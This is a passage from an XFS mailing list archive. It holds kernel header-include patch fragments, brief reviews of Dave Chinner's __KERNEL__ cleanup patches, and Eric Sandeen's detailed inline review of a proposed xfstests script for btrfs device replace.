#include "xfs_ag.h" > -#include "xfs_dir2.h" > #include "xfs_mount.h" > #include "xfs_trans_priv.h" > -#include "xfs_bmap_btree.h" > -#include "xfs_alloc_btree.h" > -#include "xfs_ialloc_btree.h" > -#include "xfs_attr_sf.h" > -#include "xfs_dinode.h" > -#include "xfs_inode.h" > -#include "xfs_inode_item.h" > -#include "xfs_btree.h" > -#include "xfs_ialloc.h" > #include "xfs_error.h" > #include "xfs_icreate_item.h" > > diff --git a/fs/xfs/xfs_log_recover.c b/fs/xfs/xfs_log_recover.c > index 8763452..fabcc84 100644 > --- a/fs/xfs/xfs_log_recover.c > +++ b/fs/xfs/xfs_log_recover.c > @@ -51,7 +51,7 @@ > #include "xfs_symlink.h" > #include "xfs_da_btree.h" > #include "xfs_dir2_format.h" > -#include "xfs_dir2_priv.h" > +#include "xfs_dir2.h" > #include "xfs_attr_leaf.h" > #include "xfs_attr_remote.h" > > diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c > index 2231498..5c7272f 100644 > --- a/fs/xfs/xfs_mount.c > +++ b/fs/xfs/xfs_mount.c > @@ -25,8 +25,10 @@ > #include "xfs_trans_priv.h" > #include "xfs_sb.h" > #include "xfs_ag.h" > -#include "xfs_dir2.h" > #include "xfs_mount.h" > +#include "xfs_da_btree.h" > +#include "xfs_dir2_format.h" > +#include "xfs_dir2.h" > #include "xfs_bmap_btree.h" > #include "xfs_alloc_btree.h" > #include "xfs_ialloc_btree.h" > diff --git a/fs/xfs/xfs_rename.c b/fs/xfs/xfs_rename.c > index 0c1f8ef..4715c7f 100644 > --- a/fs/xfs/xfs_rename.c > +++ b/fs/xfs/xfs_rename.c > @@ -22,9 +22,10 @@ > #include "xfs_trans.h" > #include "xfs_sb.h" > #include "xfs_ag.h" > -#include "xfs_dir2.h" > #include "xfs_mount.h" > #include "xfs_da_btree.h" > +#include "xfs_dir2_format.h" > +#include "xfs_dir2.h" > #include "xfs_bmap_btree.h" > #include "xfs_dinode.h" > #include "xfs_inode.h" > diff --git a/fs/xfs/xfs_rtalloc.c b/fs/xfs/xfs_rtalloc.c > index 5d900ec..bb4f7a1 100644 > --- a/fs/xfs/xfs_rtalloc.c > +++ b/fs/xfs/xfs_rtalloc.c > @@ -23,7 +23,6 @@ > #include "xfs_trans.h" > #include "xfs_sb.h" > #include "xfs_ag.h" > -#include "xfs_dir2.h" > #include "xfs_mount.h" > #include "xfs_bmap_btree.h" > #include "xfs_dinode.h" > diff --git a/fs/xfs/xfs_super.c b/fs/xfs/xfs_super.c > index 146e2c2..7d57560 100644 > --- a/fs/xfs/xfs_super.c > +++ b/fs/xfs/xfs_super.c > @@ -23,7 +23,6 @@ > #include "xfs_trans.h" > #include "xfs_sb.h" > #include "xfs_ag.h" > -#include "xfs_dir2.h" > #include "xfs_alloc.h" > #include "xfs_quota.h" > #include "xfs_mount.h" > @@ -47,6 +46,8 @@ > #include "xfs_trans_priv.h" > #include "xfs_filestream.h" > #include "xfs_da_btree.h" > +#include "xfs_dir2_format.h" > +#include "xfs_dir2.h" > #include "xfs_extfree_item.h" > #include "xfs_mru_cache.h" > #include "xfs_inode_item.h" > diff --git a/fs/xfs/xfs_symlink.c b/fs/xfs/xfs_symlink.c > index 80d550c..dd7c099 100644 > --- a/fs/xfs/xfs_symlink.c > +++ b/fs/xfs/xfs_symlink.c > @@ -24,9 +24,10 @@ > #include "xfs_trans.h" > #include "xfs_sb.h" > #include "xfs_ag.h" > -#include "xfs_dir2.h" > #include "xfs_mount.h" > #include "xfs_da_btree.h" > +#include "xfs_dir2_format.h" > +#include "xfs_dir2.h" > #include "xfs_bmap_btree.h" > #include "xfs_ialloc_btree.h" > #include "xfs_dinode.h" > diff --git a/fs/xfs/xfs_utils.c b/fs/xfs/xfs_utils.c > index 58386fa..fde7d22 100644 > --- a/fs/xfs/xfs_utils.c > +++ b/fs/xfs/xfs_utils.c > @@ -22,8 +22,10 @@ > #include "xfs_trans.h" > #include "xfs_sb.h" > #include "xfs_ag.h" > -#include "xfs_dir2.h" > #include "xfs_mount.h" > +#include "xfs_da_btree.h" > +#include "xfs_dir2_format.h" > +#include "xfs_dir2.h" > #include "xfs_bmap_btree.h" > #include "xfs_dinode.h" > #include "xfs_inode.h" > diff --git a/fs/xfs/xfs_vnodeops.c b/fs/xfs/xfs_vnodeops.c > index c2d96cd..221e2e3 100644 > --- a/fs/xfs/xfs_vnodeops.c > +++ b/fs/xfs/xfs_vnodeops.c > @@ -25,9 +25,10 @@ > #include "xfs_trans.h" > #include "xfs_sb.h" > #include "xfs_ag.h" > -#include "xfs_dir2.h" > #include "xfs_mount.h" > #include "xfs_da_btree.h" > +#include "xfs_dir2_format.h" > +#include "xfs_dir2.h" > #include "xfs_bmap_btree.h" > #include "xfs_ialloc_btree.h" > #include "xfs_dinode.h" > From tinguely@sgi.com Fri Jul 26 08:32:09 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id AF76429E03 for ; Fri, 26 Jul 2013 08:32:09 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7BF3F8F8037; Fri, 26 Jul 2013 06:32:09 -0700 (PDT) Message-ID: <51F27A59.6060809@sgi.com> Date: Fri, 26 Jul 2013 08:32:09 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 34/49] xfs: make struct xfs_perag kernel only References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-35-git-send-email-david@fromorbit.com> In-Reply-To: <1374215120-7271-35-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 07/19/13 01:25, Dave Chinner wrote: > From: Dave Chinner > > The struct xfs_perag has many kernel-only definitions in it, > requiring a __KERNEL__ guard so userspace can use it to. Move it to > xfs_mount.h so that it it kernel-only, and let userspace redefine > it's own version of the structure containing only what it needs. > This gets rid of another __KERNEL__ check in the XFS header files. > > Signed-off-by: Dave Chinner > --- moves the xfs_perag structure and adds a comment to why it is moved. looks good. Reviewed-by: Mark Tinguely From tinguely@sgi.com Fri Jul 26 08:51:20 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 130FF29E11 for ; Fri, 26 Jul 2013 08:51:20 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id E13BA304053; Fri, 26 Jul 2013 06:51:19 -0700 (PDT) Message-ID: <51F27ED7.9040009@sgi.com> Date: Fri, 26 Jul 2013 08:51:19 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 33/49] xfs: move kernel specific type definitions to xfs.h References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-34-git-send-email-david@fromorbit.com> In-Reply-To: <1374215120-7271-34-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 07/19/13 01:25, Dave Chinner wrote: > From: Dave Chinner > > xfs_types.h is shared with userspace, so having kernel specific > types defined in it is problematic. Move all the kernel specific > defines to xfs_linux.h so we can remove the __KERNEL__ guards from > xfs_types.h > > Signed-off-by: Dave Chinner > --- Looks good. Reviewed-by: Mark Tinguely From tinguely@sgi.com Fri Jul 26 09:10:15 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id BCF4629E11 for ; Fri, 26 Jul 2013 09:10:15 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 8D6068F804C; Fri, 26 Jul 2013 07:10:12 -0700 (PDT) Message-ID: <51F28344.1080708@sgi.com> Date: Fri, 26 Jul 2013 09:10:12 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 32/49] xfs: xfs_filestreams.h doesn't need __KERNEL__ References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-33-git-send-email-david@fromorbit.com> In-Reply-To: <1374215120-7271-33-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 07/19/13 01:25, Dave Chinner wrote: > From: Dave Chinner > > Because it is only used within the kernel. > > Signed-off-by: Dave Chinner > --- Looks good. Reviewed-by: Mark Tinguely From tinguely@sgi.com Fri Jul 26 09:16:48 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 62E2129E11 for ; Fri, 26 Jul 2013 09:16:48 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 42AFD304043; Fri, 26 Jul 2013 07:16:45 -0700 (PDT) Message-ID: <51F284CD.4070006@sgi.com> Date: Fri, 26 Jul 2013 09:16:45 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 31/49] xfs: remove __KERNEL__ check from xfs_dir2_leaf.c References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-32-git-send-email-david@fromorbit.com> In-Reply-To: <1374215120-7271-32-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 07/19/13 01:25, Dave Chinner wrote: > From: Dave Chinner > > It's actually an ifndef section, which means it is only included in > userspace. however, it's deep within the libxfs code, so it's > unlikely that the condition checked in userspace can actually occur > (search an empty leaf) through the libxfs interfaces. i.e. if it can > happen in usrspace, it can happen in the kernel, so remove it from > userspace too.... > > Signed-off-by: Dave Chinner > --- Looks good for the kernel. Reviewed-by: Mark Tinguely From tinguely@sgi.com Fri Jul 26 10:03:44 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id BF6E529E11 for ; Fri, 26 Jul 2013 10:03:44 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8391C30405F; Fri, 26 Jul 2013 08:03:41 -0700 (PDT) Message-ID: <51F28FCD.9080405@sgi.com> Date: Fri, 26 Jul 2013 10:03:41 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 30/49] xfs: remove __KERNEL__ from debug code References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-31-git-send-email-david@fromorbit.com> In-Reply-To: <1374215120-7271-31-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 07/19/13 01:25, Dave Chinner wrote: > From: Dave Chinner > > There is no reason the remaining kernel-only debug code needs to > remain kernel-only. Kill the __KERNEL__ part of the defines, and let > userspace handle the debug code appropriately. > > Signed-off-by: Dave Chinner > --- No change for the kernel. Allows the bestfree table validation and the real time block range is allocated tests be used in user space. Looks good. Reviewed-by: Mark Tinguely From tinguely@sgi.com Fri Jul 26 10:07:15 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 56C3A29E11 for ; Fri, 26 Jul 2013 10:07:15 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 381688F8039; Fri, 26 Jul 2013 08:07:12 -0700 (PDT) Message-ID: <51F2909F.6040107@sgi.com> Date: Fri, 26 Jul 2013 10:07:11 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 29/49] xfs: kill __KERNEL__ check for debug code in allocation code References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-30-git-send-email-david@fromorbit.com> In-Reply-To: <1374215120-7271-30-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 07/19/13 01:25, Dave Chinner wrote: > From: Dave Chinner > > Userspace running debug builds is relatively rare, so there's need > to special case the allocation algorithm code coverage debug switch. > As it is, userspace defines random numbers to 0, so invert the > logic of the switch so it is effectively a no-op in userspace. > This kills another couple of __KERNEL__ users. > > Signed-off-by: Dave Chinner > --- No functional change for the kernel. skipping the first allocation algorithm is still 50% for debug kernels. Change is for user space. Looks good. Reviewed-by: Mark Tinguely From sandeen@redhat.com Fri Jul 26 10:21:21 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 63FB629E11 for ; Fri, 26 Jul 2013 10:21:21 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 463F1304082 for ; Fri, 26 Jul 2013 08:21:21 -0700 (PDT) X-ASG-Debug-ID: 1374852076-04cbb02c3bc7550001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id ExuM0IQYA0YKwN87 for ; Fri, 26 Jul 2013 08:21:17 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6QFLDAO021089 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 26 Jul 2013 11:21:14 -0400 Received: from Liberator.local (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r6QFLCPY006362 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Fri, 26 Jul 2013 11:21:13 -0400 Message-ID: <51F293E8.3080601@redhat.com> Date: Fri, 26 Jul 2013 10:21:12 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: Stefan Behrens CC: xfs@oss.sgi.com, linux-btrfs@vger.kernel.org Subject: Re: [PATCH] xfstest: add a test for btrfs device replace operation References: <1374830885-26966-1-git-send-email-sbehrens@giantdisaster.de> X-ASG-Orig-Subj: Re: [PATCH] xfstest: add a test for btrfs device replace operation In-Reply-To: <1374830885-26966-1-git-send-email-sbehrens@giantdisaster.de> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1374852077 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com On 7/26/13 4:28 AM, Stefan Behrens wrote: > Unfortunately this test takes 6 minutes on my SSD equiped test box since > it runs all possible single/dup/raid0/raid1/raid10/mixed profiles, one > round with the '-f' option to 'btrfs replace start' and one round > without this option. The cancelation is tested only once and with the > dup/single profile for metadata/data. > > Almost all the time is spent when the filesystem is populated with test > data. The replace operation itself takes one second for all the tests, > and 20 seconds for the test that is marked as 'thorough' (this one > spends more than a minute to populate the filesystem with data). Can you tell it to make a smaller filesystem so this doesn't take as long? Would that still be spread across all devices properly? All you really need is data across all devices, right - whether it's 2G or 200G or 2000G in total shouldn't _really_ matter? > The amount of tests done depends on the number of devices in the > SCRATCH_DEV_POOL. For full test coverage, at least 5 devices should > be available (e.g. 5 partitions). > > For the first round, the last device in the SCRATCH_DEV_POOL string > is taken as the target device for the replace operation, the first > device is the source device. For the second round it is the other way > round. Therefore make sure that both devices have _exactly_ the same > size, otherwise the tests fail! The target device for a replace > operation always needs to be larger or of equal size than the source > device. > > If SCRATCH_DEV_POOL is set to "A B C D E" for example, the first > round creates a filesystem on "A B C D" and replaces A with E in the > first round, and E again with A in the second round. E and A need to > have the same size for the tests to succeed. > > To check the filesystems after replacing a device, a scrub run is > performed, a btrfsck run, and finally the filesystem is remounted. > > This commit depends on my other commit: > "xfstest: don't remove the two first devices from SCRATCH_DEV_POOL" > > Signed-off-by: Stefan Behrens > --- > tests/btrfs/317 | 209 ++++++++++++++++++++++++++++++++++++++++++++++++++++ > tests/btrfs/317.out | 3 + > tests/btrfs/group | 1 + > 3 files changed, 213 insertions(+) > > diff --git a/tests/btrfs/317 b/tests/btrfs/317 > new file mode 100755 > index 0000000..b4f0d8c > --- /dev/null > +++ b/tests/btrfs/317 > @@ -0,0 +1,209 @@ > +#! /bin/bash > +# FSQA Test No. 317 > +# > +# Test of the btrfs replace operation. > +# > +# The amount of tests done depends on the number of devices in the > +# SCRATCH_DEV_POOL. For full test coverage, at least 5 devices should > +# be available (e.g. 5 partitions). > +# > +# For the first round, the last device in the SCRATCH_DEV_POOL string > +# is taken as the target device for the replace operation, the first > +# device is the source device. For the second round it is the other way > +# round. > +# > +# THEREFORE MAKE SURE THAT BOTH DEVICES HAVE _EXACTLY_ THE SAME > +# SIZE, OTHERWISE THE TESTS FAIL! I sure hope the script enforces that, and does _notrun if they differ? I'll look. If not, that's a problem. If so, please change above to "OTHERWISE THE TEST WILL BE SKIPPED." (coming back after reading it all: nothing enforces this - you need to do that, tests should be _notrun, not failed, due to incompatible configurations) > +# > +# The target device for a replace operation always needs to be larger > +# or of equal size than the source device. > +# > +# If SCRATCH_DEV_POOL is set to "A B C D E" for example, the first > +# round creates a filesystem on "A B C D" and replaces A with E in the > +# first round, and E again with A in the second round. E and A need to > +# have the same size for the tests to succeed. > +# > +# To check the filesystems after replacing a device, a scrub run is > +# performed, a btrfsck run, and finally the filesystem is remounted. > +# > +#----------------------------------------------------------------------- > +# Copyright (C) 2013 STRATO. All rights reserved. > +# > +# This program is free software; you can redistribute it and/or > +# modify it under the terms of the GNU General Public License as > +# published by the Free Software Foundation. > +# > +# This program is distributed in the hope that it would be useful, > +# but WITHOUT ANY WARRANTY; without even the implied warranty of > +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the > +# GNU General Public License for more details. > +# > +# You should have received a copy of the GNU General Public License > +# along with this program; if not, write the Free Software Foundation, > +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA > +# > +#----------------------------------------------------------------------- > +# > + > +seq=`basename $0` > +seqres=$RESULT_DIR/$seq > +echo "QA output created by $seq" > + > +here=`pwd` > +tmp=/tmp/$$ > +status=1 > +noise_pid=0 > + > +_cleanup() > +{ > + if [ $noise_pid -ne 0 ] && ps -p $noise_pid | grep -q $noise_pid; then > + kill -TERM $noise_pid > + fi > + wait > + rm -f $tmp.tmp > +} > +trap "_cleanup; exit \$status" 0 1 2 3 15 > + > +# get standard environment, filters and checks > +. ./common/rc > +. ./common/filter > + > +# real QA test starts here > +_need_to_be_root > +_supported_fs btrfs > +_require_scratch > +_require_scratch_dev_pool > + > +rm -f $seqres.full > +rm -f $tmp.tmp > + > +echo "*** test btrfs replace" > + > +workout() > +{ > + mkfs_options=$1 > + num_devs4raid=$2 > + with_cancel=$3 > + quick=$4 > + local first_dev=`echo ${SCRATCH_DEV_POOL} | awk '{print $1}'` > + local last_dev=`echo ${SCRATCH_DEV_POOL} | awk '{print $NF}'` > + local without_1stnlast_dev=`echo $SCRATCH_DEV_POOL | \ > + awk '{ORS=" "; for (i = 2; i < NF; i++) print $i}'` > + > + if [ "`echo $SCRATCH_DEV_POOL | wc -w`" -lt `expr $num_devs4raid + 1` ]; then > + echo "skip workout $1 $2 $3 $4" >> $seqres.full > + echo "Too less devices in SCRATCH_DEV_POOL $SCRATCH_DEV_POOL" >> $seqres.full "Too few devices" or "Not enough devices" Would be nice to echo how many are needed too. (although nobody will see this output, since unless there are other problems, the test will succeed anyway...) > + return 0 > + fi > + > + # dup works only on a single disk > + if echo $mkfs_options | grep -q dup; then > + without_1stnlast_dev="" > + fi > + > + # _scratch_mkfs adds the 1st device again (which is $SCRATCH_DEV) > + _scratch_mkfs $mkfs_options $without_1stnlast_dev >> $seqres.full 2>&1 || _fail "mkfs failed" > + _scratch_mount > + > + _populate_fs -r $SCRATCH_MNT/zero -s 130 -f 1000 -d 0 -n 0 > + _populate_fs -r $SCRATCH_MNT/urandom -x -s 1300 -f 10 -d 0 -n 0 ok so one dir full of zeroed files, one full of random files. what happens if the fs fills during this, is it a problem, or is it ok? I think it will emit output that would cause the test to fail. Can you check? You could do i.e. _require_fs_space $SCRATCH_MNT after _scratch_mount to be sure there is sufficient space before proceeding. > + if [ "${quick}Q" = "quickQ" ]; then > + dd if=/dev/urandom of=$SCRATCH_MNT/r bs=1M count=10 >> $seqres.full 2>&1 & > + dd if=/dev/zero of=$SCRATCH_MNT/0 bs=1M count=250 >> $seqres.full 2>&1 > + wait > + else > + dd if=/dev/urandom of=$SCRATCH_MNT/r bs=1M count=100 >> $seqres.full 2>&1 & > + dd if=/dev/zero of=$SCRATCH_MNT/0 bs=1M count=2500 >> $seqres.full 2>&1 > + wait > + fi so "quick" means do 1/10 of the IO vs. otherwise; 2.3G difference. It'd be *nice* if we could scale everything down to speed up the test? > + echo 3 > /proc/sys/vm/drop_caches; echo 3 > /proc/sys/vm/drop_caches > + sync > + > + # generate some (slow) background traffic in parallel to the > + # replace operation. It is not a problem if cat fails early > + # with ENOSPC. > + cat /dev/urandom > $SCRATCH_MNT/noise 2> $seqres.full 2>&1 & > + noise_pid=$! > + > + if [ "${with_cancel}Q" = "cancelQ" ]; then > + $BTRFS_UTIL_PROG replace start -f $first_dev $last_dev $SCRATCH_MNT >> $seqres.full 2>&1 || _fail "btrfs replace start failed" > + sleep 1 > + $BTRFS_UTIL_PROG replace cancel $SCRATCH_MNT >> $seqres.full 2>&1 || _fail "btrfs replace cancel failed" > + > + $BTRFS_UTIL_PROG replace status $SCRATCH_MNT > $tmp.tmp 2>&1 > + cat $tmp.tmp >> $seqres.full > + egrep -q "canceled|finished" $tmp.tmp || _fail "btrfs replace status failed" > + else > + $BTRFS_UTIL_PROG replace start -Bf $first_dev $last_dev $SCRATCH_MNT >> $seqres.full 2>&1 || _fail "btrfs replace start failed" ok, -B means don't background. (of course!) ;) So we wait... > + > + $BTRFS_UTIL_PROG replace status $SCRATCH_MNT > $tmp.tmp 2>&1 > + cat $tmp.tmp >> $seqres.full > + grep -q finished $tmp.tmp || _fail "btrfs replace status failed" and make sure it finished. ok. > + fi > + > + $BTRFS_UTIL_PROG scrub start -B $SCRATCH_MNT > $tmp.tmp 2>&1 > + cat $tmp.tmp >> $seqres.full > + grep -q finished $tmp.tmp || _fail "btrfs scrub failed" > + grep -q "with 0 errors" $tmp.tmp || _fail "btrfs scrub failed" Just curious, do you need to grep output to determine failure in all these cases? Does exit status not suffice? (if not, seems like that should be fixed) > + > + if ps -p $noise_pid | grep -q $noise_pid; then > + kill -TERM $noise_pid 2> /dev/null > + fi > + noise_pid=0 > + wait > + umount $SCRATCH_MNT > + if [ "${with_cancel}Q" = "cancelQ" ]; then > + _check_btrfs_filesystem $first_dev > + return 0 > + else > + _check_btrfs_filesystem $last_dev > + fi Can you add a comment here? I'm confused about why we do first vs last dev on the cmdline. > + > + # now one more time without the -f option. Instead of wasting > + # time to populate the filesystem with data again, use the > + # existing filesystem in the state as it is after the previous > + # replace operation. > + umount $SCRATCH_MNT > /dev/null 2>&1 Didn't you just unmount this already? Prior to the fsck? > + _mount -t $FSTYP `_scratch_mount_options | sed "s&${SCRATCH_DEV}&${last_dev}&"` oof, can you at least comment to say what the above line is doing? That makes my brain hurt. > + if [ $? -ne 0 ]; then > + echo "mount failed" > + exit 1 > + fi > + > + cat /dev/urandom > $SCRATCH_MNT/noise2 2> $seqres.full 2>&1 & > + noise_pid=$! If the last noise generator filled the fs, this'll do nothing, right? Better to remove the existing noise file & restart the noise generator on the same filename? > + $BTRFS_UTIL_PROG replace start -B $last_dev $first_dev $SCRATCH_MNT >> $seqres.full 2>&1 || _fail "btrfs replace start failed" > + > + $BTRFS_UTIL_PROG replace status $SCRATCH_MNT > $tmp.tmp 2>&1 > + cat $tmp.tmp >> $seqres.full > + grep -q finished $tmp.tmp || _fail "btrfs replace status failed" > + > + $BTRFS_UTIL_PROG scrub start -B $SCRATCH_MNT > $tmp.tmp 2>&1 > + cat $tmp.tmp >> $seqres.full > + grep -q finished $tmp.tmp || _fail "btrfs scrub failed" > + grep -q "with 0 errors" $tmp.tmp || _fail "btrfs scrub failed" > + > + if ps -p $noise_pid | grep -q $noise_pid; then > + kill -TERM $noise_pid 2> /dev/null > + fi > + noise_pid=0 > + wait > + umount $SCRATCH_MNT There's an awful lot of cut & paste here from the first run with -f; can you maybe make it functions? > + _check_btrfs_filesystem $first_dev > +} > + > +workout "-m single -d single" 1 no quick > +workout "-m single -d single -M" 1 no quick > +workout "-m dup -d single" 1 no quick > +workout "-m dup -d single" 1 cancel quick > +workout "-m dup -d dup -M" 1 no quick > +workout "-m raid0 -d raid0" 2 no quick > +workout "-m raid1 -d raid1" 2 no thorough > +#workout "-m raid5 -d raid5" 2 no quick > +#workout "-m raid6 -d raid6" 3 no quick Why commented out? > +workout "-m raid10 -d raid10" 4 no quick > + > +echo "*** done" > +status=0 > +exit > diff --git a/tests/btrfs/317.out b/tests/btrfs/317.out > new file mode 100644 > index 0000000..4bda623 > --- /dev/null > +++ b/tests/btrfs/317.out > @@ -0,0 +1,3 @@ > +QA output created by 317 > +*** test btrfs replace > +*** done > diff --git a/tests/btrfs/group b/tests/btrfs/group > index bc6c256..1b64321 100644 > --- a/tests/btrfs/group > +++ b/tests/btrfs/group > @@ -9,3 +9,4 @@ > 276 auto rw metadata > 284 auto > 307 auto quick > +317 auto > From bpm@sgi.com Fri Jul 26 10:22:27 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com 